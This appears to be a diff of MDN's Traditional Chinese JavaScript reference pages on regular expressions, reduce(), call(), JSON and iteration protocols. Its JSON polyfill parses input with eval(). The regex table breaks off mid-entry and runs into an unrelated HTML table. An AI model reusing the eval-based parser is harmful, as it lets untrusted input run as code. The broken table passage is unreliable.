+簡易的模式是有你找到的直接匹配所構成的。比如:`/abc/` 這個模式就匹配了在一個字符串中,僅僅字符 `'abc'` 同時出現並按照這個順序。這兩個句子中「_Hi, do you know your abc's?_」和「_The latest airplane designs evolved from slabcraft._」就會匹配成功。在上面的兩個實例中,匹配的是子字符串 'abc'。在字符串中的 "Grab crab"('ab c') 中將不會被匹配,因為它不包含任何的 'abc' 字符串。 + +### 使用特殊字元 + +當你需要搜尋一個比直接匹配需要更多條件的匹配,比如搜尋一或多個 'b',或者搜尋空格,那麼這個模式將要包含特殊字符。例如: 模式 `/ab*c/` 匹配了一個單獨的 'a' 後面跟了零或多個 'b'(\* 的意思是前面一項出現了零或多個),且後面跟著 'c' 的任何字符組合。在字符串 "cbbabbbbcdebc" 中,這個模式匹配了子字符串 "abbbbc"。 + +下面的表格列出了在正則表達式中可以利用的特殊字符完整列表以及描述。 + +| 字元 | 解說 | +| --------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| [`\`](#special-backslash) | 反斜線放在非特殊符號前面,使非特殊符號不會被逐字譯出,代表特殊作用。 例如:'b' 如果沒有 '\\' 在前頭,功能是找出小寫 b;若改為 '\b' 則代表的是邊界功能,block 用意。 /\bter\b/.test("interest") //false /\bter\b/.test("in ter est") //true `/a*/` 找出 0 個或是 1 個以上的 a;而 /a\\\*/ 找出 'a\*' 這個字串 /aaaa\*/g.test("caaady") //true /a\\\*/.test("caaady") //false '\\' 也能使自身表現出來,表現 '\\' ,必須以 '\\\\' 表達。 /\[\\\\]/.test(">\\\\<") //true | +| [`^`](#special-caret) | 匹配輸入的開頭,如果 multiline flag 被設為 true,則會匹配換行字元後。例如:`/^A/` 不會匹配「an A」的 A,但會匹配「An E」中的 A。「`^`」出現在字元集模式的字首中有不同的意思,詳見[補字元集](#special-negated-character-set)。 | +| [`$`](#special-dollar) | 匹配輸入的結尾,如果 multiline flag 被設為 true,則會匹配換行字元。例如:`/t$/` 不會匹配「eater」中的 t,卻會匹配「eat」中的 t。 | +| [`*`](#special-asterisk) | 匹配前一字元 0 至多次。 下面舉例要求基本 'aaaa' ,'a\*' 後面有 0 個或多個 a 的意思 /aaaaa\*/g.test("caaady") //false 例如:`/bo*/` 匹配「A ghost booooed」中的 boooo、「A bird warbled」中的 b,但在「A goat grunted」中不會匹配任何字串。 | +| [`+`](#special-plus) | 匹配前一字元 1 至多次,等同於 `{1,}`。例如:`/a+/` 匹配「candy」中的 a,以及所有「caaaaaaandy」中的 a。 | +| [`?`](#special-questionmark) | 匹配前一字元 0 至 1 次,等同於 `{0,1}`。例如:`/e?le?/` 匹配「angel」中的 el、「angle」中的 le、以及「oslo」中的 l。如果是使用在 `*`、`+`、`?` 或 `{}` 等 quantifier 之後,將會使這些 quantifier non-greedy(也就是儘可能匹配最少的字元),與此相對的是 greedy(匹配儘可能多的字元)。例如:在「123abc」中應用 `/\d+/` 可匹配「123」,但使用 `/\d+?/` 在相同字串上只能匹配「1」。 Also used in lookahead assertions, as described in the `x(?=y)` and `x(?!y)` entries of this table. | +| [`.`](#special-dot) | (小數點)匹配除了換行符號之外的單一字元。例如:/.n/ 匹配「nay, an apple is on the tree」中的 an 和 on,但在「nay」中沒有匹配。 | +| [`(x)`](#special-capturing-parentheses) | Capturing Parentheses 匹配 'x' 並記住此次的匹配,如下面的範例所示。在 正則表達示 /(foo) (bar) \1 \2/ 中的 (foo) 與 (bar) 可匹配了 "foo bar foo bar" 這段文字中的前兩個字,而 \1 與 \2 則匹配了後面的兩個字。注意, \1, \2, ..., \n 代表的就是前面的 pattern,以本範例來說,/(foo) (bar) \1 \2/ 等同於 /(foo) (bar) (foo) (bar)/。用於取代(replace)的話,則是用 $1, $2,...,$n。如 'bar boo'.replace(/(...) (...)/, '$2 $1'). `$&` 表示已匹配的字串 | +| [`(?:x)`](#special-non-capturing-parentheses) | *Non-Capturing Parentheses*找出 'x',這動作不會記憶 `()`為 group 的意思,檢查時會再 wrap 一次,若有 `g` flag 會無效, `?:` 代表只要 group 就好,不要 wrap 有無 `()` 差別 ? `'foo'.match(/(foo)/)` `// ['foo', 'foo', index: 0, input: 'foo' ] 'foo'.match(/foo/) // [ 'foo', index: 0, input: 'foo' ]`有無`?:`差別? `'foo'.match(/(foo){1,2}/) // [ 'foo', 'foo', index: 0, input: 'foo' ] 'foo'.match(/(?:foo){1,2}/) [ 'foo', index: 0, input: 'foo' ]` 連`()`都沒有,則`{1,2}`只是適用在`foo`的第二個`o`的條件而已。更多資訊詳見 [Using parentheses](/zh-TW/docs/Web/JavaScript/Guide/Regular_Expressions#Using_parentheses) 。 | +| [`x(?=y)`](#special-lookahead) | 符合'x',且後接的是'y'。'y'為'x'存在的意義。 例如:`/Jack(?=Sprat)/,`在後面是 Sprat 的存在下,Jack 才有意義。 `/Jack(?=Sprat\|Frost)/`後面是 Sprat「或者是」Frost 的存在下,Jack 才有意義。但我們要找的目標是 Jack,後面的條件都只是 filter/條件的功能而已。 | +| [`x(?!y)`](#special-negated-look-ahead) | 符合'x',且後接的不是'y'。'y'為否定'x'存在的意義,後面不行前功盡棄(negated lookahead)。 例如: `/\d+(?!\.)/` ,要找一個或多個數字時,在後面接的不是「點」的情況下成立。 `var result = /\d+(?!\.)/.exec("3.141")` , result 執行出來為\[ '141', index: 2, input: '3.141'], index:2,代表 141 從 index = 2 開始。 | +| [`x\|y`](#special-or) | 符合「x」或「y」。舉例來說,`/green\|red/` 的話,會匹配 `"green apple"` 中的 `"green"` 以及 `"red apple."` 的 `"red"` 。 | +| [`{n}`](#special-quantifier) | 規定符號確切發生的次數,n 為正整數例如:`/a{2}/`無法在 "candy" 找到、但 "caandy" 行;若字串擁有 2 個以上 "caaandy" 還是只會認前面 2 個。 | +| [`{n,m}`](#special-quantifier-range) | 搜尋條件:n 為至少、m 為至多,其 n、m 皆為正整數。若把 m 設定為 0,則為 Invalid regular expression。例如:`/a{1,3}/ `無法在 "cndy" 匹配到;而在 "candy" 中的第 1 個"a"符合;在 "caaaaaaandy" 中的前 3 個 "aaa" 符合,雖然此串有許多 a,但只認前面 3 個。 | +| [`[xyz]`](#special-character-set) | 字元的集合。此格式會匹配中括號內所有字元, including [escape sequences](/zh-TW/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences)。特殊字元,例如點(`.`) 和米字號(`*`),在字元集合中不具特殊意義,所以不需轉換。若要設一個字元範圍的集合,可以使用橫線 `"-"` ,如下例所示: `[a-d] `等同於 `[abcd]。`會匹配 "brisket" 的 "b" 、"city" 的 'c' ……等。 而`/[a-z.]+/ `和 `/[\w.]+/` 均可匹配字串 "test.i.ng" 。 | +| [`[^xyz]`](#special-negated-character-set) | bracket 中寫入的字元將被否定,匹配非出現在 bracket 中的符號。 可用 '-' 來界定字元的範圍。一般直接表達的符號都可以使用這種方式。`[^abc]`可以寫作\[^`a-c]`. "brisket" 中找到 'r' 、"chop."中找到 'h'。 | +| [`[\b]`](#special-backspace) | 吻合倒退字元 (U+0008). (不會跟 \b 混淆) | +| [`\b`](#special-word-boundary) | 吻合文字邊界。A word boundary matches the position where a word character is not followed or preceded by another word-character. Note that a matched word boundary is not included in the match. In other words, the length of a matched word boundary is zero. (Not to be confused with `[\b]`.)Examples: `/\bm/` matches the 'm' in "moon" ; `/oo\b/` does not match the 'oo' in "moon", because 'oo' is followed by 'n' which is a word character; `/oon\b/` matches the 'oon' in "moon", because 'oon' is the end of the string, thus not followed by a word character; `/\w\b\w/` will never match anything, because a word character can never be followed by both a non-word and a word character.**Note:** JavaScript's regular expression engine defines a [specific set of characters](http://www.ecma-international.org/ecma-262/5.1/#sec-15.10.2.6) to be "word" characters. Any character not in that set is considered a word break. This set of characters is fairly limited: it consists solely of the Roman alphabet in both upper- and lower-case, decimal digits, and the underscore character. Accented characters, such as "é" or "ü" are, unfortunately, treated as word breaks. | +| [`\B`](#special-non-word-boundary) | 吻合非文字邊界。This matches a position where the previous and next character are of the same type: Either both must be words, or both must be non-words. The beginning and end of a string are considered non-words.For example, `/\B../` matches 'oo' in "noonday", and `/y\B./` matches 'ye' in "possibly yesterday." | +| [`\cX`](#special-control) | Where _X_ is a character ranging from A to Z. Matches a control character in a string.For example, `/\cM/` matches control-M (U+000D) in a string. | +| [`\d`](#special-digit) | 吻合數字,寫法等同於 `[0-9] 。`例如:`/\d/` 或 `/[0-9]/` 在 "B2 is the suite number." 中找到 '2' | +| [`\D`](#special-non-digit) | 吻合非數字,寫法等同於 `[^0-9]。`例如:`/\D/` 或`/[^0-9]/` 在 "B2 is the suite number." 中找到 'B' 。 | +| [`\f`](#special-form-feed) | Matches a form feed (U+000C). | +| [`\n`](#special-line-feed) | Matches a line feed (U+000A). | +| [`\r`](#special-carriage-return) | Matches a carriage return (U+000D). | +| [`\s`](#special-white-space) | Matches a single white space character, including space, tab, form feed, line feed. Equivalent to `[ \f\n\r\t\v\u00a0\u1680\u180e\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]`.For example, `/\s\w*/` matches ' bar' in "foo bar." | +| [`\S`](#special-non-white-space) | Matches a single character other than white space. Equivalent to `[^ \f\n\r\t\v\u00a0\\u1680u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u2028\u2029\u202f\u205f\u3000]`.For example, `/\S\w*/` matches 'foo' in "foo bar." | +| [`\t`](#special-tab) | Matches a tab (U+0009). | +| [`\v`](#special-vertical-tab) | Matches a vertical tab (U+000B). | +| [`\w`](#special-word) | 包含數字字母與底線,等同於`[A-Za-z0-9_]`。例如: `/\w/` 符合 'apple'中的 'a' 、'$5.28 中的 '5' 以及 '3D' 中的 '3'。For example, `/\w/` matches 'a' in "apple," '5' in "$5.28," and '3' in "3D." | +| [`\W`](#special-non-word) | 包含"非"數字字母與底線,等同於`[^A-Za-z0-9_]`。例如: `/\W/` 或是 `/[^A-Za-z0-9_]/` 符合 "50%." 中的 '%'For example, `/\W/` or `/[^A-Za-z0-9_]/` matches '%' in "50%." | +| [`\n`](#special-backreference) | 其中 _n_ 是一個正整數,表示第 _n_ 個括號中的子字串匹配(包含括號中的所有的字串匹配)例如: `/apple(,)\sorange\1/` 符合 "apple, orange, cherry, peach." 的 'apple, orange,' 。( \`\1\` 表示第一個 partten ,也就是 \`(,)\`)For example, `/apple(,)\sorange\1/` matches 'apple, orange,' in "apple, orange, cherry, peach." | +| [`\0`](#special-null) | Matches a NULL (U+0000) character. Do not follow this with another digit, because `\0物件 | +Property or index | +說明 | +範例 | +
---|---|---|---|
myArray |
+ + | The matched string and all remembered substrings. | +['dbbd', 'bb', index: 1, input: 'cdbbdbsbz'] |
+
index |
+ The 0-based index of the match in the input string. | +1 |
+ |
input |
+ The original string. | +"cdbbdbsbz" |
+ |
[0] |
+ The last matched characters. | +"dbbd" |
+ |
myRe |
+ lastIndex |
+ + The index at which to start the next match. (This property is set only + if the regular expression uses the g option, described in + Advanced Searching With Flags.) + | +5 |
+
source |
+ + The text of the pattern. Updated at the time that the regular expression + is created, not executed. + | +"d(b+)d" |
+
Enter your phone number (with area code) and then click "Check".
+
The expected format is like ###-###-####.
reduce()
方法將一個累加器及陣列中每項元素(由左至右)傳入回呼函式,將陣列化為單一值。
arr.reduce(callback[accumulator, currentValue, currentIndex, array], initialValue)- -
callback
accumulator
initialValue
(若有提供的話,詳如下敘)。累加器是上一次呼叫後,所回傳的累加數值。currentValue
currentIndex
{{optional_inline}}initialValue
,則由索引 0 之元素開始,若無則自索引 1 之元素開始。array
{{optional_inline}}reduce()
方法的陣列。initialValue
{{optional_inline}}callback
時要傳入的累加器初始值。若沒有提供初始值,則原陣列的第一個元素將會被當作初始的累加器。假如於一個空陣列呼叫 reduce()
方法且沒有提供累加器初始值,將會發生錯誤。簡化後的結果值。
- -reduce()
會對每一個目前迭代到的陣列元素(除了空值以外)執行 callback
函式,回呼函式會接收四個參數:
accumulator
currentValue
currentIndex
array
當回呼函式第一次被呼叫時,accumulator
與 currentValue
的值可能為兩種不同的狀況:若在呼叫 reduce()
時有提供 initialValue
,則 accumulator
將會等於 initialValue
,且 currentValue
會等於陣列中的第一個元素值;若沒有提供 initialValue
,則 accumulator
會等於陣列的第一個元素值,且 currentValue
將會等於陣列的第二個元素值。
備註:假如 initialValue
未被提供,reduce()
將會跳過第一個陣列索引,從陣列索引 1 開始執行回呼函式。若有提供 initialValue
,則會由陣列索引 0 開始執行。
若陣列為空且沒有提供 initialValue
,將會拋出 {{jsxref("TypeError")}}。假如陣列只有一個元素(無論其索引位置為何)並且沒有提供 initialValue
,或如果提供了 initialValue
但陣列為空,則此唯一的值將會被直接回傳而不會呼叫 callback
函式。
提供累加器初始值通常較為安全,因為在沒有傳入 initialValue
的情況下會有三種可能的輸出結果,如下列範例:
var maxCallback = ( acc, cur ) => Math.max( acc.x, cur.x ); -var maxCallback2 = ( max, cur ) => Math.max( max, cur ); - -// reduce() without initialValue -[ { x: 22 }, { x: 42 } ].reduce( maxCallback ); // 42 -[ { x: 22 } ].reduce( maxCallback ); // { x: 22 } -[ ].reduce( maxCallback ); // TypeError - -// map/reduce; better solution, also works for empty or larger arrays -[ { x: 22 }, { x: 42 } ].map( el => el.x ) - .reduce( maxCallback2, -Infinity ); -- -
假設 reduce()
以下例方式使用:
[0, 1, 2, 3, 4].reduce( - function ( -- -accumulator,
-currentValue
, -currentIndex
, - array - ) { - returnaccumulator
+ currentValue; - } -); -
所傳入的回呼函式將被呼叫四次,所傳入的參數與回傳值如下所示:
- -callback |
- accumulator |
- currentValue |
- currentIndex |
- array |
- return value | -
---|---|---|---|---|---|
first call | -0 |
- 1 |
- 1 |
- [0, 1, 2, 3, 4] |
- 1 |
-
second call | -1 |
- 2 |
- 2 |
- [0, 1, 2, 3, 4] |
- 3 |
-
third call | -3 |
- 3 |
- 3 |
- [0, 1, 2, 3, 4] |
- 6 |
-
fourth call | -6 |
- 4 |
- 4 |
- [0, 1, 2, 3, 4] |
- 10 |
-
reduce()
的最終回傳值將會是最後一次呼叫回呼函式的回傳值 (10
)。
你也可以傳入一個{{jsxref("Functions/Arrow_functions", "箭頭函式","",1)}}來替代一個完整的函式。下方的程式碼執行的結果將與前述例子相同。
- -[0, 1, 2, 3, 4].reduce( (prev, curr) => prev + curr ); -- -
如果你有提供第二個參數值給 reduce()
,執行的結果如下:
[0, 1, 2, 3, 4].reduce( - (- -accumulator
, currentValue, currentIndex, array) => { - returnaccumulator
+ currentValue; - }, - 10 -); -
callback |
- accumulator |
- currentValue |
- currentIndex |
- array |
- return value | -
---|---|---|---|---|---|
first call | -10 |
- 0 |
- 0 |
- [0, 1, 2, 3, 4] |
- 10 |
-
second call | -10 |
- 1 |
- 1 |
- [0, 1, 2, 3, 4] |
- 11 |
-
third call | -11 |
- 2 |
- 2 |
- [0, 1, 2, 3, 4] |
- 13 |
-
fourth call | -13 |
- 3 |
- 3 |
- [0, 1, 2, 3, 4] |
- 16 |
-
fifth call | -16 |
- 4 |
- 4 |
- [0, 1, 2, 3, 4] |
- 20 |
-
reduce()
執行的結果將會是 20
。
var sum = [0, 1, 2, 3].reduce(function (a, b) { - return a + b; -}, 0); -// sum is 6 -- -
另外,也可以寫成箭頭函式:
- -var total = [ 0, 1, 2, 3 ].reduce( - ( acc, cur ) => acc + cur, - 0 -);- -
var flattened = [[0, 1], [2, 3], [4, 5]].reduce( - function(a, b) { - return a.concat(b); - }, - [] -); -// flattened is [0, 1, 2, 3, 4, 5] -- -
另外,也可以寫成箭頭函式:
- -var flattened = [[0, 1], [2, 3], [4, 5]].reduce( - ( acc, cur ) => acc.concat(cur), - [] -); -- -
var names = ['Alice', 'Bob', 'Tiff', 'Bruce', 'Alice']; - -var countedNames = names.reduce(function (allNames, name) { - if (name in allNames) { - allNames[name]++; - } - else { - allNames[name] = 1; - } - return allNames; -}, {}); -// countedNames is: -// { 'Alice': 2, 'Bob': 1, 'Tiff': 1, 'Bruce': 1 } -- -
// friends - an array of objects -// where object field "books" - list of favorite books -var friends = [{ - name: 'Anna', - books: ['Bible', 'Harry Potter'], - age: 21 -}, { - name: 'Bob', - books: ['War and peace', 'Romeo and Juliet'], - age: 26 -}, { - name: 'Alice', - books: ['The Lord of the Rings', 'The Shining'], - age: 18 -}]; - -// allbooks - list which will contain all friends' books + -// additional list contained in initialValue -var allbooks = friends.reduce(function(prev, curr) { - return [...prev, ...curr.books]; -}, ['Alphabet']); - -// allbooks = [ -// 'Alphabet', 'Bible', 'Harry Potter', 'War and peace', -// 'Romeo and Juliet', 'The Lord of the Rings', -// 'The Shining' -// ]- -
- -
let arr = [1, 2, 1, 2, 3, 5, 4, 5, 3, 4, 4, 4, 4]; -let result = arr.sort().reduce((init, current) => { - if (init.length === 0 || init[init.length - 1] !== current) { - init.push(current); - } - return init; -}, []); -console.log(result); //[1,2,3,4,5] -- -
/** - * Runs promises from promise array in chained manner - * - * @param {array} arr - promise arr - * @return {Object} promise object - */ -function runPromiseInSequense(arr) { - return arr.reduce((promiseChain, currentPromise) => { - return promiseChain.then((chainedResult) => { - return currentPromise(chainedResult) - .then((res) => res) - }) - }, Promise.resolve()); -} - -// promise function 1 -function p1() { - return new Promise((resolve, reject) => { - resolve(5); - }); -} - -// promise function 2 -function p2(a) { - return new Promise((resolve, reject) => { - resolve(a * 2); - }); -} - -// promise function 3 -function p3(a) { - return new Promise((resolve, reject) => { - resolve(a * 3); - }); -} - -const promiseArr = [p1, p2, p3]; -runPromiseInSequense(promiseArr) - .then((res) => { - console.log(res); // 30 - }); - -- -
// Production steps of ECMA-262, Edition 5, 15.4.4.21 -// Reference: http://es5.github.io/#x15.4.4.21 -// https://tc39.github.io/ecma262/#sec-array.prototype.reduce -if (!Array.prototype.reduce) { - Object.defineProperty(Array.prototype, 'reduce', { - value: function(callback /*, initialValue*/) { - if (this === null) { - throw new TypeError( 'Array.prototype.reduce ' + - 'called on null or undefined' ); - } - if (typeof callback !== 'function') { - throw new TypeError( callback + - ' is not a function'); - } - - // 1. Let O be ? ToObject(this value). - var o = Object(this); - - // 2. Let len be ? ToLength(? Get(O, "length")). - var len = o.length >>> 0; - - // Steps 3, 4, 5, 6, 7 - var k = 0; - var value; - - if (arguments.length >= 2) { - value = arguments[1]; - } else { - while (k < len && !(k in o)) { - k++; - } - - // 3. If len is 0 and initialValue is not present, - // throw a TypeError exception. - if (k >= len) { - throw new TypeError( 'Reduce of empty array ' + - 'with no initial value' ); - } - value = o[k++]; - } - - // 8. Repeat, while k < len - while (k < len) { - // a. Let Pk be ! ToString(k). - // b. Let kPresent be ? HasProperty(O, Pk). - // c. If kPresent is true, then - // i. Let kValue be ? Get(O, Pk). - // ii. Let accumulator be ? Call( - // callbackfn, undefined, - // « accumulator, kValue, k, O »). - if (k in o) { - value = callback(value, o[k], k, o); - } - - // d. Increase k by 1. - k++; - } - - // 9. Return accumulator. - return value; - } - }); -} -- -
如果還需要支援老舊到不支援 Object.defineProperty
的 JavaScript 引擎,最好不要 polyfill Array.prototype
方法,因為你無法令其不可枚舉(non-enumerable)。
{{Compat("javascript.builtins.Array.reduce")}}
-{{JSRef}}
- -使用給定的this
參數以及分別給定的參數來呼叫某個函數
備註: 此函數的所有語法大致上與apply()
相同,他們基本上不同處只有 call()
接受一連串的參數,而 apply()
單一的array作為參數
Function 物件的方法 | -|
---|---|
被實作於 | -JavaScript 1.3 | -
ECMAScript 版本 | -ECMAScript 第三版 | -
fun.call(thisArg[, arg1[, arg2[, ...]]])
-
-thisArg
fun
時提供的this
值。 注意,它可能是一個無法在函數內看到的值:若這個函數是在非嚴苛模式( non-strict mode ), null
、undefined
將會被置換成全域變數,而原生型態的值將會被封裝arg1, arg2, ...
你可以在呼叫一個現存的函數時,使用不一樣的 this
物件。 this
會參照到目前的物件,呼叫的物件上
使用 call,
你可以實作函數一次,然後在其他的物件上直接繼承它,而不用在新的物件上重寫該函數
call
來串接物件上的建構子你可以使用 call
來串接其他物件的建構子,就像 Java. 下面的例子中,Product
物件的建構子定義了兩個參數 name
以及 price
. 其他函數Food
及 Toy
引用了 Product
並傳入 this
、 name
和 price
。 Product 初始化它的屬性 name
和 price
, 而兩個子函數則定義了category。
function Product(name, price) { - this.name = name; - this.price = price; - - if (price < 0) - throw RangeError('Cannot create product "' + name + '" with a negative price'); - return this; -} - -function Food(name, price) { - Product.call(this, name, price); - this.category = 'food'; -} -Food.prototype = new Product(); - -function Toy(name, price) { - Product.call(this, name, price); - this.category = 'toy'; -} -Toy.prototype = new Product(); - -var cheese = new Food('feta', 5); -var fun = new Toy('robot', 40); -- -
call
來呼叫匿名的函數下面這個簡易的例子中,我們做了一個匿名的函數,並用 call
來讓它應用在每個在串列中的物件中. 這個匿名函數的主要用途是加入一個print函數到每個物件上,這個函數可以印出每個物件的index指標。 傳入物件作為 this
的值並不是必要的,但他有解釋的用途。
var animals = [ - {species: 'Lion', name: 'King'}, - {species: 'Whale', name: 'Fail'} -]; - -for (var i = 0; i < animals.length; i++) { - (function (i) { - this.print = function () { - console.log('#' + i + ' ' + this.species + ': ' + this.name); - } - this.print(); - }).call(animals[i], i); -} -- -
+ Function 物件的方法 + | +|
---|---|
被實作於 | +JavaScript 1.3 | +
ECMAScript 版本 | +ECMAScript 第三版 | +
JSON
物件包含了解析、或是轉換為 JavaScript Object Notation({{glossary("JSON")}})格式的方法。這物件不能被呼叫或建構;而除了它的兩個方法屬性以外,本身也沒有特別的功能。
JSON 是序列物件、陣列、數字、字串、布林值、還有 {{jsxref("null")}} 的語法。它建基、但不同於 JavaScript:有些 JavaScript 不是 JSON、而有些 JSON 不是 JavaScript。請參見 JSON: The JavaScript subset that isn't。
- -JavaScript 型別 | -與 JSON 的差別 | -
---|---|
物件與陣列 | -屬性名稱必須是包含在雙引號中的字串;禁止尾後逗號。 | -
數字 | -數字不可以0作為開頭(在 JSON.stringify 0會被忽略,但是在 JSON.parse 會造成語法錯誤);小數點前面必須至少有一位數字。 | -
字串 | -
- Only a limited set of characters may be escaped; certain control characters are prohibited; the Unicode line separator (U+2028) and paragraph separator (U+2029) characters are permitted; strings must be double-quoted. See the following example where {{jsxref("JSON.parse()")}} works fine and a {{jsxref("SyntaxError")}} is thrown when evaluating the code as JavaScript: - --var code = '"\u2028\u2029"'; -JSON.parse(code); // works fine -eval(code); // fails -- |
-
JSON 的完整語法如下:
- -JSON = null - or true or false - or JSONNumber - or JSONString - or JSONObject - or JSONArray - -JSONNumber = - PositiveNumber - or PositiveNumber -PositiveNumber = DecimalNumber - or DecimalNumber . Digits - or DecimalNumber . Digits ExponentPart - or DecimalNumber ExponentPart -DecimalNumber = 0 - or OneToNine Digits -ExponentPart = e Exponent - or E Exponent -Exponent = Digits - or + Digits - or - Digits -Digits = Digit - or Digits Digit -Digit = 0 through 9 -OneToNine = 1 through 9 - -JSONString = "" - or " StringCharacters " -StringCharacters = StringCharacter - or StringCharacters StringCharacter -StringCharacter = any character - except " or \ or U+0000 through U+001F - or EscapeSequence -EscapeSequence = \" or \/ or \\ or \b or \f or \n or \r or \t - or \u HexDigit HexDigit HexDigit HexDigit -HexDigit = 0 through 9 - or A through F - or a through f - -JSONObject = { } - or { Members } -Members = JSONString : JSON - or Members , JSONString : JSON - -JSONArray = [ ] - or [ ArrayElements ] -ArrayElements = JSON - or ArrayElements , JSON -- -
Insignificant whitespace may be present anywhere except within a JSONNumber
(numbers must contain no whitespace) or JSONString
(where it is interpreted as the corresponding character in the string, or would cause an error). The tab character (U+0009), carriage return (U+000D), line feed (U+000A), and space (U+0020) characters are the only valid whitespace characters.
舊版瀏覽器並不支援 JSON
。你可以在程式碼開頭插入以下程式碼,以解決這個問題。這個程式碼能實做不支援原生 JSON
物件的瀏覽器(如 Internet Explorer 6)。
以下演算法能仿製原生 JSON
物件。
if (!window.JSON) { - window.JSON = { - parse: function(sJSON) { return eval('(' + sJSON + ')'); }, - stringify: (function () { - var toString = Object.prototype.toString; - var hasOwnProperty = Object.prototype.hasOwnProperty; - var isArray = Array.isArray || function (a) { return toString.call(a) === '[object Array]'; }; - var escMap = {'"': '\\"', '\\': '\\\\', '\b': '\\b', '\f': '\\f', '\n': '\\n', '\r': '\\r', '\t': '\\t'}; - var escFunc = function (m) { return escMap[m] || '\\u' + (m.charCodeAt(0) + 0x10000).toString(16).substr(1); }; - var escRE = /[\\"\u0000-\u001F\u2028\u2029]/g; - return function stringify(value) { - if (value == null) { - return 'null'; - } else if (typeof value === 'number') { - return isFinite(value) ? value.toString() : 'null'; - } else if (typeof value === 'boolean') { - return value.toString(); - } else if (typeof value === 'object') { - if (typeof value.toJSON === 'function') { - return stringify(value.toJSON()); - } else if (isArray(value)) { - var res = '['; - for (var i = 0; i < value.length; i++) - res += (i ? ', ' : '') + stringify(value[i]); - return res + ']'; - } else if (toString.call(value) === '[object Object]') { - var tmp = []; - for (var k in value) { - // in case "hasOwnProperty" has been shadowed - if (hasOwnProperty.call(value, k)) - tmp.push(stringify(k) + ': ' + stringify(value[k])); - } - return '{' + tmp.join(', ') + '}'; - } - } - return '"' + value.toString().replace(escRE, escFunc) + '"'; - }; - })() - }; -} -- -
More complex well-known polyfills for the JSON
object are JSON2 and JSON3.
在 MDN 的 JavaScript 分區中,這一部分被作爲 Javascript 的資料庫。閱讀關於該參考以了解更多。
- -本章節記錄了所有 JavaScript 標準內建物件 以及其方法與屬性。
- -本章節記錄了所有 JavaScript 敘述句與宣告。
- -本章節記錄了所有 JavaScript 表示法與運算子。
- -本章節說明如何使用 JavaScript 函數 來開發您的應用程式。
- - - -為 ECMAScript 2015 中的一些補充內容,並非新的內建物件或語法,而是協議。這些協議可被任何遵守特定協定的物件所實作。
- -本文介紹兩種協議:可迭代協議(iterable protocol)以及迭代器協議(iterator protocol)。
- -可迭代(iterable)協議允許 JavaScript 物件定義或客制他們的迭代行為,例如哪些值可在 {{jsxref("Statements/for...of", "for..of")}} 語法結構中被迭代出來。部分內建型別為擁有預設迭代行為的可迭代內建物件(built-in iterables),如 {{jsxref("Array")}} 或 {{jsxref("Map")}},而其他型別(如 {{jsxref("Object")}})則否。
- -為了成為可迭代的(iterable),一個物件必須實作 @@iterator 方法,意思是這個物件(或其原型鏈中的其中一個原型物件)必須擁有一個鍵(key)值為 @@iterator(即 {{jsxref("Symbol.iterator")}} 常數)的屬性:
- -屬性 | -值 | -
---|---|
[Symbol.iterator] |
- 回傳符合迭代器協議(iterator protocol)之物件的無引數函式。 | -
每當物件需要被迭代時(比如在一個開始的 for..of
迴圈中),物件的 @@iterator
方法會被以不傳入引數的方式呼叫,並會使用其回傳的迭代器(iterator)來獲得被迭代出來的值。
迭代器(iterator)協議定義了一個標準方式來產出一連串(有限或無限)的值,並且可能於所有值都被產出後回傳一個值。
- -當物件以下列語義實作了 next()
方法即為一個迭代器:
屬性 | -值 | -
---|---|
next |
-
- 回傳一個至少擁有以下兩個屬性之物件的無引數函式: - -
|
-
備註:我們無法反射性的一眼看出一個特定的物件是否實作了迭代器協議,然而要建立一個同時滿足迭代器及可迭代協議的物件卻是相當容易(如下例所示)。範例的做法允許一個迭代器被各個預期其可迭代行為的語法所消費。因此很少有需要實作迭代器協議而沒有實作可迭代協議的情況。
- -var myIterator = { - next: function() { - // ... - }, - [Symbol.iterator]: function() { return this } -}; --
{{jsxref("String")}} 為一個可迭代內建物件(built-in iterable object)的範例:
- -var someString = 'hi'; -typeof someString[Symbol.iterator]; // "function" -- -
String
的預設迭代器會回傳字串中的一個一個字元:
var iterator = someString[Symbol.iterator](); -iterator + ''; // "[object String Iterator]" - -iterator.next(); // { value: "h", done: false } -iterator.next(); // { value: "i", done: false } -iterator.next(); // { value: undefined, done: true }- -
部分內建語法結構(built-in constructs),如 spread syntax,其內部也使用了相同的迭代協議:
- -[...someString] // ["h", "i"]- -
我們可以藉由提供我們自己的 @@iterator
來重新定義迭代行為:
var someString = new String('hi'); // need to construct a String object explicitly to avoid auto-boxing - -someString[Symbol.iterator] = function() { - return { // this is the iterator object, returning a single element, the string "bye" - next: function() { - if (this._first) { - this._first = false; - return { value: 'bye', done: false }; - } else { - return { done: true }; - } - }, - _first: true - }; -}; -- -
請注意,重新定義 @@iterator
會影響使用迭代協議之內建語法結構的行為:
[...someString]; // ["bye"] -someString + ''; // "hi" -- -
{{jsxref("String")}}、{{jsxref("Array")}}、{{jsxref("TypedArray")}}、{{jsxref("Map")}} 以及 {{jsxref("Set")}} 全都是可迭代內建物件,因為他們每一個的原型物件皆實作了 @@iterator
方法。
我們可以建立自己的可迭代物件,像是:
- -var myIterable = {}; -myIterable[Symbol.iterator] = function* () { - yield 1; - yield 2; - yield 3; -}; -[...myIterable]; // [1, 2, 3] -- -
有許多 APIs 接受可迭代物件,如:{{jsxref("Map", "Map([iterable])")}}、{{jsxref("WeakMap", "WeakMap([iterable])")}}、{{jsxref("Set", "Set([iterable])")}} 及 {{jsxref("WeakSet", "WeakSet([iterable])")}}:
- -var myObj = {}; -new Map([[1, 'a'], [2, 'b'], [3, 'c']]).get(2); // "b" -new WeakMap([[{}, 'a'], [myObj, 'b'], [{}, 'c']]).get(myObj); // "b" -new Set([1, 2, 3]).has(3); // true -new Set('123').has('2'); // true -new WeakSet(function* () { - yield {}; - yield myObj; - yield {}; -}()).has(myObj); // true -- -
